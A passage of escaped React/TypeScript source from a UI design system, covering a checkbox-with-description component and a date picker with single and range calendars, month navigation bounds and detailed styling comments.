CheckboxBlockProps }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\"\n\nimport { cn } from \"../../utils/cn\"\nimport { CheckboxCheckmarkIcon } from \"../icons-v2-generated/signs-and-symbols/checkbox-checkmark-icon\"\nimport { Label } from \"./label\"\n\ninterface CheckboxWithDescriptionProps {\n  id: string\n  checked: boolean\n  onCheckedChange: (checked: boolean) => void\n  title: string\n  description: string\n  disabled?: boolean\n  className?: string\n}\n\nconst CheckboxWithDescription = React.forwardRef<\n  HTMLDivElement,\n  CheckboxWithDescriptionProps\n>(({ id, checked, onCheckedChange, title, description, disabled, className }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\n      \"flex items-start gap-3 rounded-lg border border-ods-border bg-ods-card p-4\",\n      disabled && \"opacity-50 cursor-not-allowed\",\n      className\n    )}\n  >\n    <CheckboxPrimitive.Root\n      id={id}\n      checked={checked}\n      onCheckedChange={onCheckedChange}\n      disabled={disabled}\n      className={cn(\n        \"peer h-5 w-5 shrink-0 rounded-sm border border-ods-border bg-ods-bg focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-ods-accent data-[state=checked]:border-ods-accent mt-0.5\"\n      )}\n    >\n      <CheckboxPrimitive.Indicator\n        className={cn(\"flex items-center justify-center text-ods-text-on-accent\")}\n      >\n        <CheckboxCheckmarkIcon size={10} />\n      </CheckboxPrimitive.Indicator>\n    </CheckboxPrimitive.Root>\n    <div className=\"flex flex-col gap-1\">\n      <Label\n        htmlFor={id}\n        spacing=\"tight\"\n        className={cn(\n          \"leading-none cursor-pointer\",\n          disabled && \"cursor-not-allowed\"\n        )}\n      >\n        {title}\n      </Label>\n      <span className=\"text-h6 text-ods-text-secondary\">\n        {description}\n      </span>\n    </div>\n  </div>\n))\nCheckboxWithDescription.displayName = \"CheckboxWithDescription\"\n\nexport { CheckboxWithDescription }\nexport type { CheckboxWithDescriptionProps }\n","\"use client\";\n\nimport * as Popover from \"@radix-ui/react-popover\";\nimport { ArrowUpDown, Calendar, ChevronLeft, ChevronRight } from \"lucide-react\";\nimport * as React from \"react\";\nimport {\n  DayPicker,\n  type DateRange,\n  type DayPickerProps,\n  type Matcher,\n} from \"react-day-picker\";\nimport { useMdUp } from \"../../hooks\";\nimport { cn } from \"../../utils/cn\";\nimport { Button } from \"./button\";\nimport { FieldWrapper } from \"./field-wrapper\";\nimport {\n  Select,\n  SelectContent,\n  SelectItem,\n  SelectTrigger,\n  SelectValue,\n} from \"./select\";\nimport type { SortDirection } from \"./sort-column-item\";\n\n// ============================================================================\n// Types\n// ============================================================================\n\nexport type DatePickerMode = \"single\" | \"range\";\n\nexport interface DatePickerBaseProps {\n  /** Placeholder text when no date is selected */\n  placeholder?: string;\n  /** Format function for displaying the date */\n  formatDate?: (date: Date) => string;\n  /** Whether the picker is disabled */\n  disabled?: boolean;\n  /** Additional class name for the trigger button */\n  className?: string;\n  /** Number of months to display */\n  numberOfMonths?: 1 | 2;\n  /** Minimum selectable date */\n  fromDate?: Date;\n  /** Maximum selectable date */\n  toDate?: Date;\n  /** Locale for formatting */\n  locale?: DayPickerProps[\"locale\"];\n  /** Label text displayed above the picker */\n  label?: string;\n  /** Error message displayed below the picker */\n  error?: string;\n  /** When true, renders red error border */\n  invalid?: boolean;\n}\n\nexport interface SingleDatePickerProps extends DatePickerBaseProps {\n  mode: \"single\";\n  value?: Date;\n  onChange?: (date: Date | undefined) => void;\n}\n\nexport interface RangeDatePickerProps extends DatePickerBaseProps {\n  mode: \"range\";\n  value?: DateRange;\n  onChange?: (range: DateRange | undefined) => void;\n}\n\nexport type DatePickerProps = SingleDatePickerProps | RangeDatePickerProps;\n\n// ============================================================================\n// Helper functions\n// ============================================================================\n\nconst defaultFormatDate = (date: Date): string => {\n  return date.toLocaleDateString(\"en-US\", {\n    month: \"2-digit\",\n    day: \"2-digit\",\n    year: \"numeric\",\n  });\n};\n\nconst formatDateRange = (\n  range: DateRange | undefined,\n  formatFn: (date: Date) => string\n): string => {\n  if (!range?.from) return \"\";\n  if (!range.to) return formatFn(range.from);\n  return `${formatFn(range.from)} - ${formatFn(range.to)}`;\n};\n\n// ============================================================================\n// Calendar Components\n// ============================================================================\n\ninterface CalendarNavButtonProps {\n  direction: \"left\" | \"right\";\n  onClick?: () => void;\n  /** Set at a `fromDate` / `toDate` bound — there is nothing selectable past it. */\n  disabled?: boolean;\n  \"aria-label\"?: string;\n}\n\n/** The DS icon button, at its standard size in every placement — month\n *  navigation is a primary control, not chrome to be shrunk to fit. What has\n *  to give instead is the calendar's WIDTH: a `bare` host states one wide\n *  enough for the caption to sit between the two buttons (see the meeting\n *  scheduler's `CALENDAR_W`). */\nfunction CalendarNavButton({ direction, onClick, disabled, \"aria-label\": ariaLabel }: CalendarNavButtonProps) {\n  return (\n    <Button\n      type=\"button\"\n      variant=\"outline\"\n      size=\"icon\"\n      className=\"shrink-0\"\n      onClick={onClick}\n      disabled={disabled}\n      aria-label={ariaLabel}\n      leftIcon={direction === \"left\" ? <ChevronLeft className=\"size-6\" /> : <ChevronRight className=\"size-6\" />}\n    />\n  );\n}\n\n// ============================================================================\n// DatePickerCalendar Component\n// ============================================================================\n\nexport interface DatePickerCalendarProps {\n  mode: DatePickerMode;\n  selected: Date | DateRange | undefined;\n  onSelect: (value: Date | DateRange | undefined) => void;\n  numberOfMonths?: 1 | 2;\n  fromDate?: Date;\n  toDate?: Date;\n  locale?: DayPickerProps[\"locale\"];\n  /**\n   * When true the calendar fills its container width and day cells flex to\n   * fit (instead of the fixed 40px cells). Used by DateFilterMenu so the grid\n   * lines up with the surrounding controls per the Figma filter-menu.\n   */\n  fluid?: boolean;\n  /**\n   * The calendar ALONE — the Figma `Date Picker` component as drawn, with no\n   * card surface and no outer inset: the nav header flush to both edges, 8px,\n   * then a full-bleed grid. Seven columns divide the container, so the\n   * cells are as wide as the host makes them.\n   *\n   * FIXED 272px tall at every one of those widths (8 + the 48px icon-button\n   * header + a 24px weekday strip + six 32px rows; 268 on a phone, where the\n   * DS icon button is 44), which is the design's own contract — the\n   * component is drawn 240 tall at 340, 282 and 240 wide. Height that ignored\n   * the width is what lets a host place it in a card that states a height, and\n   * keeps a phone-width month from becoming a 356px band.\n   *\n   * The DAY inside each cell stays square, so the selection and today's tint\n   * read as rounded squares rather than as pills stretched across a wide\n   * cell.\n   *\n   * For hosts that place the calendar inside a panel they already own — the\n   * meeting scheduler — where the standalone card chrome reads as a card\n   * inside a card and its 16px inset fights the panel's own 24px one. The\n   * popover and filter-menu keep the surface; nothing about the type, colours\n   * or day states changes between the two.\n   */\n  bare?: boolean;\n  /**\n   * Days to disable ON TOP of the `fromDate`/`toDate` bounds — a matcher, so a\n   * host can disable by predicate. \"Inside the allowed window\" and \"actually\n   * selectable\" are different questions, and only the host can answer the\n   * second (the meeting scheduler greys out days with no bookable slot).\n   */\n  disabledDays?: Matcher | Matcher[];\n  /**\n   * Controlled visible month; pair with `onMonthChange`. Omit both and the\n   * calendar owns its month, which is the right default — a host needs these\n   * only when paging is ALSO a data event, e.g. the scheduler refetches\n   * availability per month and would otherwise show an unpopulated month.\n   */\n  month?: Date;\n  onMonthChange?: (month: Date) => void;\n}\n\n/**\n * The calendar surface behind every date control in the design system —\n * `DatePicker`'s popover and `DateFilterMenu` — exported so a host that needs\n * an always-visible day grid renders THIS one. A second hand-styled day grid\n * is how the two drift apart.\n */\nexport function DatePickerCalendar({\n  mode,\n  selected,\n  onSelect,\n  numberOfMonths = 1,\n  fromDate,\n  toDate,\n  locale,\n  fluid = false,\n  bare = false,\n  disabledDays: extraDisabledDays,\n  month: monthProp,\n  onMonthChange,\n}: DatePickerCalendarProps) {\n  const today = new Date();\n\n  const isMdUp = useMdUp() ?? true;\n  const monthsToShow = isMdUp ? numberOfMonths : 1;\n\n  const [draftRange, setDraftRange] = React.useState<DateRange | undefined>(\n    mode === \"range\" ? (selected as DateRange | undefined) : undefined\n  );\n  const [hoveredDate, setHoveredDate] = React.useState<Date | undefined>(undefined);\n\n  // Keep the internal range in sync when the consumer changes `selected`\n  // externally (e.g. DateFilterMenu Reset while the popover stays open).\n  React.useEffect(() => {\n    if (mode === \"range\") {\n      setDraftRange(selected as DateRange | undefined);\n    }\n  }, [mode, selected]);\n\n  const rangeSelected = draftRange;\n  const hasCompleteRange =\n    mode === \"range\" &&\n    !!rangeSelected?.from &&\n    !!rangeSelected?.to &&\n    rangeSelected.from.getTime() !== rangeSelected.to.getTime();\n\n  const isPreviewDate = (date: Date): boolean => {\n    if (!draftRange?.from || draftRange.to || !hoveredDate) return false;\n    const start = Math.min(draftRange.from.getTime(), hoveredDate.getTime());\n    const end = Math.max(draftRange.from.getTime(), hoveredDate.getTime());\n    return date.getTime() >= start && date.getTime() <= end;\n  };\n\n  const handleRangeSelect = (triggerDate: Date | undefined): void => {\n    if (!triggerDate) return;\n\n    if (!draftRange?.from || draftRange.to) {\n      // First click starts the range — propagate it so consumers can already\n      // act on a single-day selection (e.g. DateFilterMenu Apply/Reset).\n      const started: DateRange = { from: triggerDate, to: undefined };\n      setDraftRange(started);\n      onSelect(started);\n      return;\n    }\n    // Second click closes the range, ordering the two ends.\n    const start = draftRange.from;\n    const completed: DateRange =\n      triggerDate.getTime() < start.getTime()\n        ? { from: triggerDate, to: start }\n        : { from: start, to: triggerDate };\n    setDraftRange(completed);\n    setHoveredDate(undefined);\n    onSelect(completed);\n  };\n\n  // Fixed 40px cells by default; in fluid mode cells flex to fill the width.\n  // `bare` is a fluid layout by definition — its cell size IS container/7.\n  const isFluid = fluid || bare;\n  // BARE: fixed row height, elastic width — the Figma component is 240px tall\n  // at every width it is drawn at (340 on a phone, 282 on a tablet, 240 on the\n  // desktop card), so a month occupies the same band whatever column it lands\n  // in. 8 + the 48px header + a 24px weekday strip + six 32px rows = 272.\n  //\n  // Height that does NOT follow the width is the whole point: seven square\n  // cells across a phone's 340px would be a 356px-tall month, half again what\n  // the design budgets, and the same rule handed a wide column a month tall\n  // enough to push a card that states its height.\n  const cellOuter = bare ? \"flex-1 min-w-0 h-[32px]\" : isFluid ? \"flex-1 aspect-square min-w-0\" : \"size-10\";\n  // ...but the DAY ITSELF stays square inside that wider cell: `h-full` gives\n  // the button the row's height and `aspect-square` turns it into a 32x32\n  // rounded square, centred by the cell. `w-auto` is load-bearing — it drops\n  // the width the button would otherwise take, leaving `aspect-square` inert.\n  //\n  // This is why the day STATES below are painted on the button in bare mode\n  // rather than on the cell: react-day-picker puts `selected`/`today` on the\n  // cell, and a cell 48px wide by 30 tall renders the selection as a stretched\n  // pill. Same colours, same radius, smaller box.\n  const cellInner = bare\n    ? \"h-full w-auto aspect-square rounded-[6px]\"\n    : isFluid\n      ? \"size-full\"\n      : \"size-10\";\n  // The weekday strip is a LABEL row, not a day: `bare` gives it the height of\n  // its own text rather than a full row.\n  const weekdayOuter = bare ? \"flex-1 min-w-0 h-6\" : cellOuter;\n\n  // Day states, per paint target (see `cellInner`). Range mode is never bare —\n  // a range MUST fill its cells or the middle would break into islands — so\n  // only these three single-day states fork.\n  const hoverClass = bare ? \"[&>button]:hover:bg-ods-bg-surface\" : \"hover:bg-ods-bg-surface hover:rounded-[6px]\";\n  const todayClass = bare\n    ? \"[&>button]:bg-ods-bg-surface [&>button]:hover:!bg-ods-bg-surface\"\n    : \"bg-ods-bg-surface rounded-[6px] hover:!bg-ods-bg-surface\";\n  /**\n   * Today's tint applies only while today is NOT part of the selection.\n   *\n   * Both states paint the same box, and both have to use `!important` to beat\n   * react-day-picker's concatenated base classes — so on hover the two rules\n   * had equal specificity and the winner came down to their order in the\n   * generated stylesheet. Today's tint won, and a selected today turned GREY\n   * under the pointer, as if it had been deselected.\n   *\n   * Deciding it here rather than in CSS: \"today\" is a hint about where you\n   * are in the month, and once that day is chosen the selection is the\n   * stronger statement — there is nothing left for the tint to say.\n   */\n  const dayNumber = (date: Date): number => date.getFullYear() * 10000 + date.getMonth() * 100 + date.getDate();\n  const isSelectedDay = (date: Date): boolean => {\n    const n = dayNumber(date);\n    if (mode === \"single\") {\n      const picked = selected as Date | undefined;\n      return !!picked && dayNumber(picked) === n;\n    }\n    const range = rangeSelected;\n    if (!range?.from) return false;\n    if (!range.to) return dayNumber(range.from) === n;\n    return n >= dayNumber(range.from) && n <= dayNumber(range.to);\n  };\n  const isUnclaimedToday = (date: Date): boolean => dayNumber(date) === dayNumber(today) && !isSelectedDay(date);\n\n  const selectedClass = bare\n    ? \"[&>button]:!bg-ods-accent [&>button]:!text-ods-card [&>button]:!font-bold [&>button]:hover:!bg-ods-accent\"\n    : \"!bg-ods-accent !text-ods-card !font-bold !rounded-[6px] hover:!bg-ods-accent\";\n\n  // Surface + inset, per placement. Bare drops the card and the 16px inset\n  // (the host's panel provides both) and replaces the inset with the 8px the\n  // design puts between the header and the grid — the ONLY spacing it keeps.\n  const surfaceClass = bare\n    ? \"flex w-full flex-col\"\n    : cn(\"bg-ods-card border border-ods-border rounded-[6px] overflow-hidden\", isFluid && \"w-full\");\n  // Bare: an unpadded header row over the grid, 8px apart — the calendar's\n  // whole height is the two of them added up, never the container's.\n  const captionRowClass = cn(\"flex items-center justify-between gap-1\", bare ? \"shrink-0\" : \"px-4 pt-4\");\n  // The caption is the only elastic thing in the header: it takes the space\n  // the two fixed buttons leave and truncates rather than pushing into them.\n  // \"September 2026\" is ~131px at text-h4, and the two 48px buttons plus their\n  // gaps take 104 — so a `bare` host has to state a width of ~256 or more, or\n  // the label and the next-month button collide (worse in a locale with longer\n  // month names).\n  const captionClass = \"min-w-0 flex-1 truncate text-center text-h4 text-ods-text-primary\";\n\n  const classNames: DayPickerProps[\"classNames\"] = {\n    root: cn(\n      \"date-picker-calendar\",\n      bare ? \"flex w-full flex-col pt-[var(--spacing-system-xsf)]\" : cn(\"p-4\", isFluid && \"w-full\"),\n    ),\n    months: cn(\"flex gap-8\", bare && \"w-full\"),\n    month: cn(\"flex flex-col\", bare ? \"w-full\" : cn(\"gap-2\", isFluid && \"w-full\")),\n    month_caption: \"hidden\",\n    nav: \"hidden\",\n    month_grid: cn(\"border-collapse\", bare ? \"flex w-full flex-col\" : isFluid && \"w-full\"),\n    weekdays: \"flex\",\n    ...(bare ? { weeks: \"flex flex-col\" } : {}),\n    weekday: cn(\n      weekdayOuter,\n      \"flex items-center justify-center\",\n      \"text-h6 text-ods-text-secondary\"\n    ),\n    week: \"flex\",\n    day: cn(\n      cellOuter,\n      \"flex items-center justify-center\",\n      \"text-h4 text-ods-text-primary\",\n      \"cursor-pointer\",\n      \"transition-colors duration-150\",\n      hoverClass\n    ),\n    day_button: cn(\n      cellInner,\n      \"flex items-center justify-center\",\n      \"cursor-pointer bg-transparent border-none outline-none\",\n      \"text-inherit font-inherit\"\n    ),\n    // Painted through the `todayTint` modifier instead — see `isUnclaimedToday`.\n    today: \"\",\n    selected: cn(\n      selectedClass,\n      // In range mode, selected class should not override range_start/range_end/range_middle\n      mode === \"range\" && \"range-selected\"\n    ),\n    outside: \"text-ods-border opacity-50 hover:!bg-transparent\",\n    // Out of bounds: greyed, un-hoverable, and not-allowed under the cursor.\n    //\n    // Every rule here is `!`, and the inner button is targeted explicitly —\n    // neither is decoration. react-day-picker CONCATENATES the modifier's classes\n    // onto the base `day` ones (no tailwind-merge), so `text-ods-text-disabled`\n    // and `text-ods-text-primary` both land on the cell and the winner comes down\n    // to their order in the generated stylesheet, not in the attribute; without\n    // `!` the disabled day rendered in full white, indistinguishable from a\n    // selectable one. The cursor needs the child selector on top of that: it is\n    // the `day_button` INSIDE the cell that carries `cursor-pointer`, and a\n    // `disabled` <button> does not inherit the cell's cursor on its own.\n    disabled: cn(\n      \"!text-ods-text-disabled !cursor-not-allowed hover:!bg-transparent\",\n      \"[&>button]:!cursor-not-allowed [&>button]:!text-ods-text-disabled\",\n      // Also drop the `today` tint, or an unselectable today renders BLANK:\n      // `--color-text-disabled` and `--color-bg-surface` are the SAME token\n      // (`--ods-system-greys-soft-grey`), so the number disappears into the\n      // highlight — grey on identical grey. Reachable by any picker whose\n      // `fromDate` is in the future, and permanently by the meeting scheduler,\n      // where today usually has no bookable slots left.\n      //\n      // Dropping the tint rather than repainting the text: a disabled day is\n      // not actionable, so a highlight claiming otherwise is the wrong signal.\n      // The day still reads as today's position in the month by being the one\n      // dimmed cell between yesterday and tomorrow.\n      \"!bg-transparent [&>button]:!bg-transparent\"\n    ),\n    hidden: \"invisible\",\n    // Range styles matching Figma design:\n    // - range_start: bright yellow #ffc008, bold, left radius (full radius if single selection)\n    // - range_end: bright yellow #ffc008, bold, right radius\n    // - range_middle: dark yellow var(--ods-open-yellow-light), medium weight text\n    // Border radius on row edges is handled via CSS in the style tag below\n    range_start: cn(\n      \"range-start !bg-ods-accent !text-ods-card !font-bold hover:!bg-ods-accent\",\n      hasCompleteRange ? \"!rounded-l-[6px] !rounded-r-none\" : \"!rounded-[6px]\"\n    ),\n    range_end: cn(\n      \"range-end !bg-ods-accent !text-ods-card !font-bold hover:!bg-ods-accent\",\n      hasCompleteRange ? \"!rounded-r-[6px] !rounded-l-none\" : \"!rounded-[6px]\"\n    ),\n    range_middle: \"range-middle !bg-ods-open-yellow-light !text-ods-card !font-medium !rounded-none hover:!bg-ods-open-yellow-light\",\n  };\n\n  // Controlled when the host passes `month`, self-owned otherwise. The\n  // internal state is kept either way so an uncontrolled calendar still works;\n  // controlled it is simply never read, which keeps `changeMonth` one path.\n  const [uncontrolledMonth, setUncontrolledMonth] = React.useState<Date>(\n    mode === \"single\"\n      ? (selected as Date) || today\n      : (selected as DateRange)?.from || today\n  );\n  const month = monthProp ?? uncontrolledMonth;\n  const changeMonth = (next: Date): void => {\n    setUncontrolledMonth(next);\n    onMonthChange?.(next);\n  };\n\n  /**\n   * `fromDate` / `toDate` → what react-day-picker **v9** actually understands.\n   *\n   * v8 took the bounds as props of those names and both disabled the days\n   * outside them and stopped the navigation there. v9 removed them: they are\n   * typed `@deprecated … has been removed` and the runtime never reads them —\n   * so forwarding them, as this calendar did after the v8 → v9 upgrade, silently\n   * dropped every bound. A \"next 30 days\" picker happily accepted last year, and\n   * the `disabled` class already defined in `classNames` below never applied to\n   * anything. Same shape of miss as the v8 `classNames` keys called out in\n   * `calendar.tsx` — the other half of that migration.\n   *\n   * The public API is unchanged: consumers keep passing `fromDate`/`toDate`, and\n   * this is the single place either is translated.\n   */\n  const disabledDays = React.useMemo<Matcher[]>(() => {\n    const matchers: Matcher[] = [];\n    if (fromDate) matchers.push({ before: fromDate });\n    if (toDate) matchers.push({ after: toDate });\n    if (extraDisabledDays) {\n      matchers.push(...(Array.isArray(extraDisabledDays) ? extraDisabledDays : [extraDisabledDays]));\n    }\n    return matchers;\n  }, [fromDate, toDate, extraDisabledDays]);\n\n  // Out-of-bounds days are disabled, not hidden — a month keeps its shape, and\n  // the greyed-out day is what tells the user the bound exists. Navigation stops\n  // at the bound too (v8 did the same): past it there is nothing selectable, so\n  // paging further only walks through dead months. The nav is this component's\n  // own — `hideNavigation` turns off DayPicker's — so the limit is applied here\n  // rather than through `startMonth`/`endMonth`.\n  // Compared as a month ORDINAL, not as dates: the bound falls on some day of\n  // its month, and that month must stay reachable — a `fromDate` of the 20th\n  // still has to let the user page back to that month to pick the 25th.\n  const monthIndex = (date: Date): number => date.getFullYear() * 12 + date.getMonth();\n  const lastVisibleMonth = monthIndex(month) + (monthsToShow === 2 ? 1 : 0);\n  const canGoPrevious = !fromDate || monthIndex(month) > monthIndex(fromDate);\n  const canGoNext = !toDate || lastVisibleMonth < monthIndex(toDate);\n\n  const shiftMonth = (by: number) => {\n    const next = new Date(month);\n    next.setMonth(next.getMonth() + by);\n    changeMonth(next);\n  };\n  const handlePreviousMonth = () => shiftMonth(-1);\n  const handleNextMonth = () => shiftMonth(1);\n\n  const formatMonthYear = (date: Date): string => {\n    return date.toLocaleDateString(\"en-US\", {\n      month: \"long\",\n      year: \"numeric\",\n    });\n  };\n\n  const getSecondMonth = (date: Date): Date => {\n    const next = new Date(date);\n    next.setMonth(next.getMonth() + 1);\n    return next;\n  };\n\n  // CSS for range styles:\n  // - Ensure range_middle overrides selected styles (darker yellow for middle dates)\n  // - Add row-edge border radius on range middle dates\n  const rangeStyles = `\n    .date-picker-calendar .range-middle {\n      background-color: var(--ods-open-yellow-light) !important;\n      font-weight: 500 !important;\n    }\n    .date-picker-calendar .range-middle:hover {\n      background-color: var(--ods-open-yellow-light) !important;\n    }\n    .date-picker-calendar .range-start,\n    .date-picker-calendar .range-end {\n      background-color: var(--color-accent-primary) !important;\n      font-weight: 700 !important;\n    }\n    .date-picker-calendar .range-start:hover,\n    .date-picker-calendar .range-end:hover {\n      background-color: var(--color-accent-primary) !important;\n    }\n    .date-picker-calendar .range-middle:first-child {\n      border-top-left-radius: 6px !important;\n      border-bottom-left-radius: 6px !important;\n    }\n    .date-picker-calendar .range-middle:last-child {\n      border-top-right-radius: 6px !important;\n      border-bottom-right-radius: 6px !important;\n    }\n  `;\n\n  if (mode === \"single\") {\n    return (\n      <div className={surfaceClass}>\n        <div className={captionRowClass}>\n          <CalendarNavButton\n            direction=\"left\"\n            onClick={handlePreviousMonth}\n            disabled={!canGoPrevious}\n            aria-label=\"Previous month\"\n          />\n          <span className={captionClass}>{formatMonthYear(month)}</span>\n          <CalendarNavButton\n            direction=\"right\"\n            onClick={handleNextMonth}\n            disabled={!canGoNext}\n            aria-label=\"Next month\"\n          />\n        </div>\n        <DayPicker\n          mode=\"single\"\n          selected={selected as Date | undefined}\n          onSelect={(date) => onSelect(date)}\n          month={month}\n          onMonthChange={changeMonth}\n          classNames={classNames}\n          modifiers={{ todayTint: isUnclaimedToday }}\n          modifiersClassNames={{ todayTint: todayClass }}\n          showOutsideDays\n          fixedWeeks\n          disabled={disabledDays}\n          locale={locale}\n          hideNavigation\n        />\n      </div>\n    );\n  }\n\n  // Range mode\n  return (\n    <div\n      className={cn(\"bg-ods-card border border-ods-border rounded-md overflow-hidden\", isFluid && \"w-full\")}\n      onMouseLeave={() => setHoveredDate(undefined)}\n    >\n      <style>{rangeStyles}</style>\n      <div className=\"flex\">\n        {/* First month */}\n        <div className=\"flex-1\">\n          <div className=\"flex items-center justify-between px-4 pt-4\">\n            <CalendarNavButton\n              direction=\"left\"\n              onClick={handlePreviousMonth}\n              disabled={!canGoPrevious}\n              aria-label=\"Previous month\"\n            />\n            <span className={captionClass}>{formatMonthYear(month)}</span>\n            {monthsToShow === 1 && (\n              <CalendarNavButton\n                direction=\"right\"\n                onClick={handleNextMonth}\n                disabled={!canGoNext}\n                aria-label=\"Next month\"\n              />\n            )}\n            {monthsToShow === 2 && <div className=\"size-10 md:size-12\" />}\n          </div>\n          <DayPicker\n            mode=\"range\"\n            selected={draftRange}\n            onSelect={(_range, triggerDate) => handleRangeSelect(triggerDate)}\n            onDayMouseEnter={(day) => setHoveredDate(day)}\n            modifiers={{ preview: isPreviewDate, todayTint: isUnclaimedToday }}\n            modifiersClassNames={{ preview: \"bg-ods-bg-surface\", todayTint: todayClass }}\n            month={month}\n            onMonthChange={changeMonth}\n            classNames={classNames}\n            showOutsideDays\n            fixedWeeks\n            disabled={disabledDays}\n            locale={locale}\n            hideNavigation\n          />\n        </div>\n\n        {/* Second month (if monthsToShow === 2) */}\n        {monthsToShow === 2 && (\n          <div className=\"flex-1 border-l border-ods-border\">\n            <div className=\"flex items-center justify-between px-4 pt-4\">\n              <div className=\"size-10 md:size-12\" />\n              <span className={captionClass}>{formatMonthYear(getSecondMonth(month))}</span>\n              <CalendarNavButton\n                direction=\"right\"\n                onClick={handleNextMonth}\n                disabled={!canGoNext}\n                aria-label=\"Next month\"\n              />\n            </div>\n            <DayPicker\n              mode=\"range\"\n              selected={draftRange}\n              onSelect={(_range, triggerDate) => handleRangeSelect(triggerDate)}\n              onDayMouseEnter={(day) => setHoveredDate(day)}\n              modifiers={{ preview: isPreviewDate, todayTint: isUnclaimedToday }}\n              modifiersClassNames={{ preview: \"bg-ods-bg-surface\", todayTint: todayClass }}\n              month={getSecondMonth(month)}\n              classNames={classNames}\n              showOutsideDays\n              fixedWeeks\n              disabled={disabledDays}\n              locale={locale}\n              hideNavigation\n            />\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\n// ============================================================================\n// Trigger button styles (shared)\n// ============================================================================\n\nconst triggerButtonStyles = cn(\n  // Layout\n  \"flex items-center gap-2 w-full\",\n  \"h-11 md:h-12 rounded-[6px] border px-3\",\n  // Colors\n  \"bg-ods-card border-ods-border\",\n  // Typography\n  \"text-h4\",\n  // Hover & active (not disabled)\n  \"enabled:hover:bg-ods-bg-hover enabled:hover:border-ods-border-hover enabled:active:bg-ods-bg-active enabled:active:border-ods-border-active\",\n  \"focus:outline-none\",\n  // Disabled - match Input exactly. The value/placeholder span inside sets its\n  // own colour, so the child rule (higher specificity) greys it too. Scoped to\n  // DIRECT children like every other field, so nested content that owns its\n  // colour keeps it.\n  \"disabled:!cursor-not-allowed disabled:bg-ods-bg\",\n  \"disabled:text-ods-text-disabled disabled:[&>span]:text-ods-text-disabled disabled:[&_svg]:text-ods-text-disabled\",\n  // Animation\n  \"transition-colors duration-200\"\n);\n\nconst timeSelectTriggerStyles = cn(\n  \"flex items-center justify-between gap-1\",\n  \"h-11 md:h-12 min-h-0 px-3 rounded-[6px] border\",\n  \"bg-ods-card border-ods-border\",\n  \"text-h4\",\n  \"enabled:hover:bg-ods-bg-hover enabled:hover:border-ods-border-hover enabled:active:bg-ods-bg-active enabled:active:border-ods-border-active\",\n  \"focus:outline-none\",\n  \"disabled:!cursor-not-allowed disabled:bg-ods-bg\",\n  \"disabled:text-ods-text-disabled disabled:[&>span]:text-ods-text-disabled disabled:[&_svg]:text-ods-text-disabled\",\n  \"transition-colors duration-200 cursor-pointer\",\n  \"text-ods-text-primary\"\n);\n\n// ============================================================================\n// DatePicker Component\n// ============================================================================\n\nexport function DatePicker(props: DatePickerProps) {\n  const {\n    placeholder = \"Select date\",\n    formatDate = defaultFormatDate,\n    disabled = false,\n    className,\n    numberOfMonths = 1,\n    fromDate,\n    toDate,\n    locale,\n    label,\n    error,\n    invalid = false,\n  } = props;\n\n  const [open, setOpen] = React.useState(false);\n  const isInvalid = invalid || !!error;\n\n  const displayValue = React.useMemo(() => {\n    if (props.mode === \"single\") {\n      return props.value ? formatDate(props.value) : \"\";\n    }\n    return formatDateRange(props.value, formatDate);\n  }, [props.mode, props.value, formatDate]);\n\n  const handleSelect = (value: Date | DateRange | undefined) => {\n    if (props.mode === \"single\") {\n      props.onChange?.(value as Date | undefined);\n      if (value) {\n        setOpen(false);\n      }\n    } else {\n      const range = value as DateRange | undefined;\n      props.onChange?.(range);\n      if (range?.from && range?.to) {\n        setOpen(false);\n      }\n    }\n  };\n\n  const picker = (\n    <Popover.Root open={open} onOpenChange={setOpen}>\n      <Popover.Trigger asChild>\n        <button\n          type=\"button\"\n          disabled={disabled}\n          // Same marker Input/Textarea/Select expose — it is how a form finds\n          // (and scrolls to) the first field that failed validation.\n          data-invalid={isInvalid || undefined}\n          className={cn(triggerButtonStyles, \"group\", open && !isInvalid && \"border-ods-accent enabled:hover:border-ods-accent enabled:hover:bg-ods-card\", isInvalid && \"border-ods-error enabled:hover:border-ods-error enabled:hover:bg-ods-card\", className)}\n        >\n          <Calendar className=\"size-6 text-ods-text-secondary shrink-0\" />\n          <span\n            className={cn(\n              \"flex-1 text-left truncate\",\n              displayValue ? \"text-ods-text-primary\" : \"text-ods-text-secondary\"\n            )}\n          >\n            {displayValue || placeholder}\n          </span>\n        </button>\n      </Popover.Trigger>\n\n      <Popover.Portal>\n        <Popover.Content\n          className={cn(\n            \"z-[9999]\",\n            \"animate-in fade-in-0 zoom-in-95\",\n            \"data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95\",\n            \"data-[side=bottom]:slide-in-from-top-2\",\n            \"data-[side=top]:slide-in-from-bottom-2\"\n          )}\n          sideOffset={8}\n          align=\"start\"\n        >\n          <DatePickerCalendar\n            mode={props.mode}\n            selected={props.value}\n            onSelect={handleSelect}\n            numberOfMonths={numberOfMonths}\n            fromDate={fromDate}\n            toDate={toDate}\n            locale={locale}\n          />\n        </Popover.Content>\n      </Popover.Portal>\n    </Popover.Root>\n  );\n\n  return (\n    <FieldWrapper label={label} error={error}>\n      {picker}\n    </FieldWrapper>\n  );\n}\n\n// ============================================================================\n// DatePickerInput Component (with time selector styling from Figma)\n// ============================================================================\n\nexport interface DatePickerInputProps extends DatePickerBaseProps {\n  mode?: \"single\";\n  value?: Date;\n  onChange?: (date: Date | undefined) => void;\n  /** Show time selector next to date */\n  showTime?: boolean;\n  /** Use 24-hour format instead of 12-hour */\n  use24HourFormat?: boolean;\n}\n\n// Generate hour options\nconst generateHourOptions = (use24Hour: boolean): string[] => {\n  if (use24Hour) {\n    return Array.from({ length: 24 }, (_, i) => i.toString().padStart(2, \"0\"));\n  }\n  return Array.from({ length: 12 }, (_, i) => (i + 1).toString().padStart(2, \"0\"));\n};\n\n// Generate minute options (00, 01, 02, ... 59)\nconst generateMinuteOptions = (): string[] => {\n  return Array.from({ length: 60 }, (_, i) => i.toString().padStart(2, \"0\"));\n};\n\nexport function DatePickerInput({\n  placeholder = \"Select date\",\n  formatDate = defaultFormatDate,\n  disabled = false,\n  className,\n  numberOfMonths = 1,\n  fromDate,\n  toDate,\n  locale,\n  value,\n  onChange,\n  showTime = false,\n  use24HourFormat = false,\n  label,\n  error,\n  invalid = false,\n}: DatePickerInputProps) {\n  const [open, setOpen] = React.useState(false);\n  const 